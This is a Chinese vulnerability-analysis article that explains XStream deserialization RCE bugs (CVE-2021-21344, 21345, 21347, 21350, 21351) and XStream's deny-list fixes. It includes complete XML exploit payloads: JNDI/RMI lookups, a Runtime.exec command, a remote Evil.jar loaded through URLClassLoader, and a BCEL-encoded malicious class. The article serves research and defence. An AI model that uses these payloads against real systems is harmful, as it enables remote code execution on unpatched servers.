作者:Alpha@天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/dfi24JuezqYYEGaKnXU3xQ
前言
Xstream是java中一個使用比較廣泛的XML序列化組件,本文以近期Xstream爆出的幾個高危RCE漏洞為案例,對Xstream進行分析,同時對POC的構成原理進行講解
1. Xstream簡介
XStream是一個簡單的基于Java庫,Java對象序列化到XML,反之亦然(即:可以輕易的將Java對象和xml文檔相互轉換)。
Xstream具有以下優點
- 使用方便 - XStream的API提供了一個高層次外觀,以簡化常用的用例。
- 無需創建映射 - XStream的API提供了默認的映射大部分對象序列化。
- 性能 - XStream快速和低內存占用,適合于大對象圖或系統。
- 干凈的XML - XStream創建一個干凈和緊湊XML結果,這很容易閱讀。
- 不需要修改對象 - XStream可序列化的內部字段,如私有和最終字段,支持非公有制和內部類。默認構造函數不是強制性的要求。
- 完整對象圖支持 - XStream允許保持在對象模型中遇到的重復引用,并支持循環引用。
- 可自定義的轉換策略 - 定制策略可以允許特定類型的定制被表示為XML的注冊。
- 安全框架 - XStream提供了一個公平控制有關解組的類型,以防止操縱輸入安全問題。
- 錯誤消息 - 出現異常是由于格式不正確的XML時,XStream拋出一個統一的例外,提供了詳細的診斷,以解決這個問題。
- 另一種輸出格式 - XStream支持其它的輸出格式,如JSON。
下面通過一個小案例來演示Xstream如何將java對象序列化成xml數據
首先是兩個簡單的pojo類,都實現了Serializable接口并且重寫了readObject方法
import java.io.IOException;
import java.io.Serializable;
public class People implements Serializable{
private String name;
private int age;
private Company workCompany;
public People(String name, int age, Company workCompany) {
this.name = name;
this.age = age;
this.workCompany = workCompany;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Company getWorkCompany() {
return workCompany;
}
public void setWorkCompany(Company workCompany) {
this.workCompany = workCompany;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Read People");
}
}
public class Company implements Serializable {
private String companyName;
private String companyLocation;
public Company(String companyName, String companyLocation) {
this.companyName = companyName;
this.companyLocation = companyLocation;
}
public String getCompanyName() {
return companyName;
}
public void setCompanyName(String companyName) {
this.companyName = companyName;
}
public String getCompanyLocation() {
return companyLocation;
}
public void setCompanyLocation(String companyLocation) {
this.companyLocation = companyLocation;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Company");
}
}
然后生成一個People對象,并使用Xstream對其進行序列化
XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);
System.out.println(xml);
最后的執行結果如下
<com.XstreamTest.People serialization="custom">
<com.XstreamTest.People>
<default>
<age>25</age>
<name>xiaoming</name>
<workCompany serialization="custom">
<com.XstreamTest.Company>
<default>
<companyLocation>BeiJing</companyLocation>
<companyName>TopSec</companyName>
</default>
</com.XstreamTest.Company>
</workCompany>
</default>
</com.XstreamTest.People>
</com.XstreamTest.People>
如果兩個pojo類沒有實現Serializable接口則序列化后的數據是以下這個樣子
<com.XstreamTest.People>
<name>xiaoming</name>
<age>25</age>
<workCompany>
<companyName>TopSec</companyName>
<companyLocation>BeiJing</companyLocation>
</workCompany>
</com.XstreamTest.People>
看到這里,有些同學可能就意識到了,Xstream在處理實現了Serializable接口和沒有實現Serializable接口的類生成的對象時,方法是不一樣的。
在TreeUnmarshaller類的convertAnother方法處下斷點,如下圖所示

這里會獲取一個converter,中文直譯為轉換器,Xstream的思路是通過不同的converter來處理序列化數據中不同類型的數據,我們跟進該方法看看在處理最外層的沒有實現Serializable接口的People類時用的是哪種converter

從執行的結果中可以看到最終返回一個ReflectionConverter,當然不同的類型在這里會返回不同的Converter,這里僅僅只是處理我們自定義的未實現Serializable接口的People類時使用ReflectionConverter,該Converter的原理是通過反射獲取類對象并通過反射為其每個屬性進行賦值,那如過是處理實現了Serializable接口并且重寫了readObject方法的People類時會有什么不一樣呢?
更換序列化后的數據,在同樣的位置打上斷點,會發現這里處理People的Converter由ReflectionConverter變成了,SerializableConverter。

這是我們嘗試在People類的readObject類處打上斷點

會發現執行過程中居然調用了我們重寫的readObject方法,此時的調用鏈如下

既然會調用readObject方法的話,那此時我們的思路應該就很清晰了,只需要找到一條利用鏈,就可以嘗試進行反序列化攻擊了
2. CVE-2021-21344
下面是漏洞相關POC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
不難看出最外層封裝的類是PriorityQueue,PriorityQueue是實現了Serializable接口并且重寫了readObject方法的這點從POC中PriorityQueue的標簽上也看得出,結合我們之前對XStream的分析 這次我們直接在PriorityQueued的readObject方法中打上斷點。

研究過java反序列化的同學對PriorityQueue這個類肯定不會陌生,經典的CommonCollections利用鏈中有幾個就用到了PriorityQueue,放一下此刻的調用鏈。

然后我們跟進heapify()方法,

經過一些調試來到了PriorityQueue類的siftDownUsingComparator方法中如下圖所示。

這里調用了PriorityQueue類中存儲在comparator屬性中的對象的compare方法,這時我們回過頭來再去看一下POC

我們可以很直觀的從XStream序列化的數據中看到PriorityQueue類的comparator屬性中存儲的是一個sun.awt.datatransfer.DataTransferer$IndexOrderComparator類型的對象 也就是說接下來會調用DataTransferer$IndexOrderComparator對象的compare方法。

剩下的過程就是一系列的嵌套調用,最終會執行到com.sun.rowset.JdbcRowSetImpl的getDatabaseMetaData中,并最終在JdbcRowSetImpl的connect方法中通過JNDI去lookup事先封裝在JdbcRowSetImpl的dataSource中的惡意地址



最后貼一下調用棧

CVE-2021-21344分析至此完畢。
2. CVE-2021-21345
先粘貼一下cve-2021-21345的poc
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>open /Applications/Calculator.app</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
可以看到21345的利用鏈較之21344的利用鏈來說變化不大,唯一的不同點在于執行代碼的位置不再使用JdbcRowSetImpl去遠程加載惡意類來到本地執行惡意代碼,而是使用com.sun.corba.se.impl.activation.ServerTableEntry類直接在本地執行惡意代碼,從利用的復雜度上來和21344做比較的話無疑是簡單的不少,既然整個利用鏈中變化的只有這一處,那就單分析這個類就可以了,將斷點直接打在ServerTableEntry類的verify方法上。

這里直接將activationCmd屬性中的值作為參數調用Runtime.exec來進行執行,而activationCmd在序列化的數據中就已經被我們自定義了值。

由于調用棧和CVE-2021-21344基本一樣所以就不再重復粘貼的,至此CVE-2021-21345分析完畢
3. CVE-2021-21347
首先先看下POC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>
<outer-class class='java.util.Arrays$ArrayList'>
<a class='string-array'>
<string>Evil</string>
</a>
</outer-class>
</names>
<processorCL class='java.net.URLClassLoader'>
<ucp class='sun.misc.URLClassPath'>
<urls serialization='custom'>
<unserializable-parents/>
<vector>
<default>
<capacityIncrement>0</capacityIncrement>
<elementCount>1</elementCount>
<elementData>
<url>http://127.0.0.1:80/Evil.jar</url>
</elementData>
</default>
</vector>
</urls>
<path>
<url>http://127.0.0.1:80/Evil.jar</url>
</path>
<loaders/>
<lmap/>
</ucp>
<package2certs class='concurrent-hash-map'/>
<classes/>
<defaultDomain>
<classloader class='java.net.URLClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
<outer-class reference='../..'/>
</key>
</defaultDomain>
<initialized>true</initialized>
<pdcache/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>-2147483648</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
可以看到這個漏洞的利用鏈就和之前兩個大不相同了,并且在分析該漏洞的時候也踩了一些坑,在這里也和大家詳細說明一下
這里我先用jdk 1.8.20版本來復現這個漏洞,然而執行的時候卻返回以下錯誤

一開始沒太明白這里是出了什么問題 先是跟著報錯信息中提示的路徑去看了一下,發現是在反序列化PriorityQueue的comparator屬性的時候出現了問題。

經過一段跟蹤調試,跟蹤到類加載的地方發現根本找不到這個ObservableList$1的對象,從這個名字帶有$1不難看出,這是一個匿名內部類對象,此時我們先去ObservableList這個類中去查看一下,然后發現ObservableList是一個接口類型,源碼如下
public interface ObservableList<E> extends List<E>, Observable {
public void addListener(ListChangeListener<? super E> listener);
public void removeListener(ListChangeListener<? super E> listener);
public boolean addAll(E... elements);
public boolean setAll(E... elements);
public boolean setAll(Collection<? extends E> col);
public boolean removeAll(E... elements);
public boolean retainAll(E... elements);
public void remove(int from, int to);
public default FilteredList<E> filtered(Predicate<E> predicate) {
return new FilteredList<>(this, predicate);
}
public default SortedList<E> sorted(Comparator<E> comparator) {
return new SortedList<>(this, comparator);
}
public default SortedList<E> sorted() {
return sorted(null);
}
}
發現根本就沒有什么匿名內部類,此時分析陷入了僵局,然后經過該漏洞的作者threedr3am師傅的指導,嘗試更換了下JDK的版本,將JDK版本更換為1.8.131版本后ObservableList的源碼發生了變化。這里只粘貼關鍵的代碼。
public default SortedList<E> sorted(Comparator<E> comparator) {
return new SortedList<>(this, comparator);
}
/**
* Creates a {@link SortedList} wrapper of this list with the natural
* ordering.
* @return new {@code SortedList}
* @since JavaFX 8.0
*/
public default SortedList<E> sorted() {
Comparator naturalOrder = new Comparator<E>() {
@Override
public int compare(E o1, E o2) {
if (o1 == null && o2 == null) {
return 0;
}
if (o1 == null) {
return -1;
}
if (o2 == null) {
return 1;
}
if (o1 instanceof Comparable) {
return ((Comparable) o1).compareTo(o2);
}
return Collator.getInstance().compare(o1.toString(), o2.toString());
}
};
return sorted(naturalOrder);
}
可以看到sorted()方法里面多了一個Comparator類型的匿名內部類對象,而這個就是我們反序列化是POC中的那個ObservableList$1,這里寫一個簡單的例子驗證一下

該漏洞利用的時候對JDK的版本有一定的限制,
接下來開始繼續分析,然后當我用JDK1.8.131再次運行的時候又爆了另一個錯誤

這里提示找不到 java.security.ProtectionDomain$Key.outer-class這個屬性,然后經過一段讓人頭禿的調試后終于搞明白了其中緣由。
首先著重看一下出現問題的POC的位置

導致報錯的就是這個outer-class標簽,報錯的原因是反序列化的時候找不到這個outer-class屬性,我們來到對應的類也就是ProtectionDomain$Key這個類中查看一下

發現key是一個靜態內部類。
接下來我們要搞明白,就XStream在什么情況下在序列化的數據中出現這個outer-class標簽,這里進行一個簡單的實驗
class Foo {
private String foocontent;
private Bar bar;
public String getFoocontent() {
return foocontent;
}
public void setFoocontent(String foocontent) {
this.foocontent = foocontent;
}
public Bar getBar() {
return bar;
}
public void setBar(Bar bar) {
this.bar = bar;
}
class Bar {
private String blabla;
public String getBlabla() {
return blabla;
}
public void setBlabla(String blabla) {
this.blabla = blabla;
}
}
}
這里有兩個類,一個是Foo類,另一個Bar是一個成員內部類,這里Foo有一個屬性bar用來存儲一個Bar類型的數據。接下來我們實例化一下這個類,然后對其屬性進行賦值,并用XStream對其進行序列化。
public static void main(String[] args) {
Foo foo = new Foo();
Bar bar = foo.new Bar();
bar.setBlabla("hello");
foo.setBar(bar);
XStream xstream = new XStream();
String xml = xstream.toXML(foo);
System.out.println(xml);
}
查看執行結果

當引用了自己的成員內部類時,XStream就會通過outer-class來進行標識。在回過去看poc就可以理解這里表示的意思是Key作為一個成員內部類被ProtectionDomain引用,但是在jdk1.8.131中ProtectionDomain$Key是一個靜態內部類呀,靜態內部類XStream序列化的時候是不會通過\<outer-class>標簽進行標識的
介于之前菜的坑,我又將jdk版本更換到1.8.221版本此時再看ProtectionDomain$Key這個類,可以看到在1.8.221版本的jdk中,Key已經從靜態內部來改成一個成員內部類了,此時在運行POC就不會報找不到outer-class的錯誤了。

當然既然在jdk1.8.131版本中Key時靜態內部類,那我們也可以直接通過在POC中刪除\<outer-class>這個標簽來避免這個報錯。
不過雖然時不報錯了,但是我們還是沒搞清楚這個outer-class究竟為什么會有這條屬性,這里引用一篇文章java非靜態內部類中的屬性this$0
接著用我們寫的Demo中的Foo類和它的成員內部類Bar類來進行講解,在Foo$Bar對象生成過后我打一個斷點

這里有一個變量名為this$0的一個變量,仔細觀察他的類型,發現是一個Foo類型的,也就是說他是Foo這個最外層的類對象,還記得學習java基礎的時候在學習內部類的時候學過的一個知識點,就是內部類可以直接使用外部類的公有或私有變量,而外部類卻不能直接使用內部類的變量,就是因為內部類會在編譯時就加入一個外部類作為變量。
搞明白了這一點后我們就繼續分析gadget
同樣的PriorityQueue部分就不再重復講解了,只貼一下調用鏈

我們從ObsevableList$1這個匿名內部類開始講起,我們來看下這個匿名內部類的實現

這里 o1和o2是同一個Base64Data對象,目的調用Base64Data.toString方法,跟入查看toString方法詳情

toString方法中調用了Base64Data.get方法,繼續跟入,在get方法中調用了ByteArrayOutputStreamEx.readFrom()方法,而傳入的參數則是一個SequenceInputStream對象。

這里先粘貼一下此時整個Base64Data對象的封裝情況。

跟入ByteArrayOutputStreamEx.readFrom()方法,經過幾次嵌套調用后,來到了SequenceInputStream.nextStream()方法中,這里的關鍵是調用了屬性e,也就是POC中就封裝進去的MultiUIDefaults$MultiUIDefaultsEnumerator對象的hasMoreElements()方法

繼續跟進,就會看到調用了JavacProcessingEnvironment$NameProcessIterator.hasNext()方法

當跟入到hasNext()方法方法后可以看到該方法中的關鍵點在于,調用processorCL的loadClass方法

我們直接從POC中來查看processorCL就是封裝進去的URLClassLoader對象,而var1就是封裝入names屬性中的Arrays$ArrayList對象中存儲的字符串也就是惡意類的名字。

接下來的步驟就是通過URLClassloader去遠程加載惡意類到本地 然后執行靜態代碼塊中的惡意代碼從而導致RCE,這個過程就不進行深入贅述了,至此CVE-2021-21347漏洞分析完畢
4. CVE-2021-21350
粘貼一下POC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>
<outer-class class='java.util.Arrays$ArrayList'>
<a class='string-array'>
<string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$f5Et$cf$fb$B$v$rO$f9$3c$e8$f1H$g$fe$xZ$faI$c6T$c3kOd$d0bp$daS_$8c$b5Talc$8bxW$r$91$_$ae$a41$e7$8c$e9d$c8$t$dc$85$8d$ac$8dm$X$3b$d8$a5$d2j$y$c2$da1$afQ$D$3f$J$b8V$91$8b$3d$ecS$7d$Ta$u$98P3$e0$e1$a0$d9$e9$P$85$af$Z$ca3I$aa$e6ug$de$93$a1$f8g$bcKB$zG$d4$d6$Z$I$3d$t$95z$c3$fb$e7$a1$83$5bb$w$7c$86$c3$fa$c2nWG2$i$b4$W$D$b7$91$f2E$i$b7p$80$rzQ3$YM$ba$NR$c8$R$bb$md$84$xG$af$60oH$95$d2$_$b0$k$9eII$c11$3a$d2$f4$cd$c2$ow$9e$94eb$eeO$820$3fC$d0$$$fd$BZ$85Y$ae$f8$N$93$85$cf$5c$c7$B$A$A</string>
</a>
</outer-class>
</names>
<processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
<parent class='sun.misc.Launcher$ExtClassLoader'>
</parent>
<package2certs class='hashtable'/>
<classes defined-in='java.lang.ClassLoader'/>
<defaultDomain>
<classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
<outer-class reference='../..'/>
</key>
</defaultDomain>
<packages/>
<nativeLibraries/>
<assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
<defaultAssertionStatus>false</defaultAssertionStatus>
<classes/>
<ignored__packages>
<string>java.</string>
<string>javax.</string>
<string>sun.</string>
</ignored__packages>
<repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
<__path>
<paths/>
<class__path>.</class__path>
</__path>
<__loadedClasses/>
</repository>
<deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
該漏洞的整個利用鏈和CVE-2021-21345如出一轍,不同的地方在于,最后的加載惡意Class的Classloader不再使用URLClassloader去遠程加載,而是采用了com.sun.org.apache.bcel.internal.util.ClassLoader,這里相信對FastJson有了解的同學應該不陌生,這里使用了BCEL的方式來進行惡意代碼執行

但是整個利用鏈和CVE-2021-21347是一樣的,所以這里也就不重復贅述了。
5. CVE-2021-21351
粘貼一下POC
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
這次用到的gadget入口點為javax.naming.ldap.Rdn$RdnEntry,在使用該POC之前仍然有一個點是需要注意的,\ <__overrideDefaultParser>這個標簽在低版本的jdk中是沒有的,需要進行更換。

更換成以下標簽。

接下來就用jdk1.8.20為例,來進行分析。首先在POC中我們可以直觀的看到,有兩個Rdn$RdnEntry的序列化數據,最外層的觸發點是Rdn$RdnEntry.compareTo方法,該方法是對比兩個Rdn$RdnEntry的value屬性是否相同。

當前對象的value屬性是一個Xstring對象,在POC中的這個位置。

所以跟進Xstring.equals方法,該方法中需要注意的是調用了obj2 也就是傳入的XRTreeFrag.toString方法,跟進該方法

經過一次嵌套調用后,來到XRTreeFrag.str方法中 這里調用了之前就封裝在POC中的SAX2DTM對象,如下圖所示


跟入SAX2DTM.getStringValue方法,經過兩次嵌套調用后,來到了SAX2DTM.nextNode方法中,該方法中需要注意的是調用了m_incrementalSAXSource屬性也就是POC中封裝好的IncrementalSAXSource_Xerces對象的deliverMoreNodes方法。

繼續向下執行,最終會執行到IncrementalSAXSource_Xerces.parseSome方法,該方法會通過反射調用JdbcRowSetImpl.setAutoCommit方法。

接下來的流程就還是JdbcRowSetImpl的老一套了,就不再深入說明了。至此CVE-2021-21351分析完畢
6. 總結
此次爆出的幾個反序列化RCE漏洞,總結下漏洞的觸發點分別為“java.util.PriorityQueue.compare()“、“javax.naming.ldap.Rdn$RdnEntry.compareTo()”、而Xstream的防護方法也是很直白是通過黑名單的形式來進行防護。
下面是1.4.15版本的黑名單
protected void setupSecurity() {
if (securityMapper == null) {
return;
}
addPermission(AnyTypePermission.ANY);
denyTypes(new String[]{
"java.beans.EventHandler", //
"java.lang.ProcessBuilder", //
"javax.imageio.ImageIO$ContainsFilter", //
"jdk.nashorn.internal.objects.NativeString" });
denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO, JAXWS_FILE_STREAM});
allowTypeHierarchy(Exception.class);
securityInitialized = false;
}
然后是1.4.16版本的黑名單
private static final String ANNOTATION_MAPPER_TYPE = "com.thoughtworks.xstream.mapper.AnnotationMapper";
private static final Pattern IGNORE_ALL = Pattern.compile(".*");
private static final Pattern GETTER_SETTER_REFLECTION = Pattern.compile(".*\\$GetterSetterReflection");
private static final Pattern PRIVILEGED_GETTER = Pattern.compile(".*\\$PrivilegedGetter");
private static final Pattern LAZY_ITERATORS = Pattern.compile(".*\\$LazyIterator");
private static final Pattern JAXWS_ITERATORS = Pattern.compile(".*\\$ServiceNameIterator");
private static final Pattern JAVAFX_OBSERVABLE_LIST__ = Pattern.compile("javafx\\.collections\\.ObservableList\\$.*");
private static final Pattern JAVAX_CRYPTO = Pattern.compile("javax\\.crypto\\..*");
private static final Pattern BCEL_CL = Pattern.compile(".*\\.bcel\\..*\\.util\\.ClassLoader");
......
protected void setupSecurity() {
if (this.securityMapper != null) {
this.addPermission(AnyTypePermission.ANY);
this.denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue"});
this.denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, GETTER_SETTER_REFLECTION, PRIVILEGED_GETTER, JAVAX_CRYPTO, JAXWS_ITERATORS, JAVAFX_OBSERVABLE_LIST__, BCEL_CL});
this.denyTypeHierarchy(InputStream.class);
this.denyTypeHierarchyDynamically("java.nio.channels.Channel");
this.denyTypeHierarchyDynamically("javax.activation.DataSource");
this.denyTypeHierarchyDynamically("javax.sql.rowset.BaseRowSet");
this.allowTypeHierarchy(Exception.class);
this.securityInitialized = false;
}
}
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1543/
暫無評論